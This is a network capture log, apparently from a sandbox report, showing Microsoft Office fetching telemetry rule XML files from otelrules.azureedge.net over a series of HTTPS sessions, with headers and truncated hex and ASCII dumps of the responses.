2024-10-31 10:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:22 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a453eede-301e-0033-02d5-26fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102822Z-17c5cb586f62vrfquq10qybcuw000000029g00000000bkdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:22 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:22 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 47a6a88f-901e-0029-535c-2b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102822Z-15b8d89586fnfb49yv03rfgz1c00000000z0000000007y8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:22 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:22 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102822Z-16849878b78wc6ln1zsrz6q9w80000000920000000008au1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:22 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:22 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: fad7475d-801e-002a-7d7c-2a31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102822Z-15b8d89586fpccrmgpemqdqe5800000004ag000000003amg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:23 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:23 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:23 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 81ab0e27-601e-0084-4b98-2a6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102823Z-17c5cb586f69w69mgazyf263an00000008sg000000001brx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:23 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:23 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:23 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:23 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 80a81280-401e-0047-19c2-2a8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102823Z-17c5cb586f6tg7hbbt0rp19dan00000001m000000000b42t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:23 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:23 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:23 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:23 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 63860650-101e-00a2-42b4-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102823Z-16849878b78p49s6zkwt11bbkn000000091g000000007zgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:23 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:23 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:23 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:23 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102823Z-16849878b78qfbkc5yywmsbg0c0000000950000000001t9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:23 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:23 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:23 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:23 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a6706070-501e-005b-556d-28d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102823Z-15b8d89586fcvr6p5956n5d0rc0000000feg00000000a46m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:23 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:23 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:24 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 135a34dd-b01e-0098-371c-27cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102824Z-17c5cb586f6p5pndayxh2uxv54000000013000000000351r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:24 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:23 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:24 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:24 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: d36ad09b-701e-0098-4cde-2a395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102824Z-17c5cb586f6ks725u50g36qts800000001k0000000001p45 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:24 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:23 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:24 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102824Z-16849878b78smng4k6nq15r6s40000000aw000000000a601 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
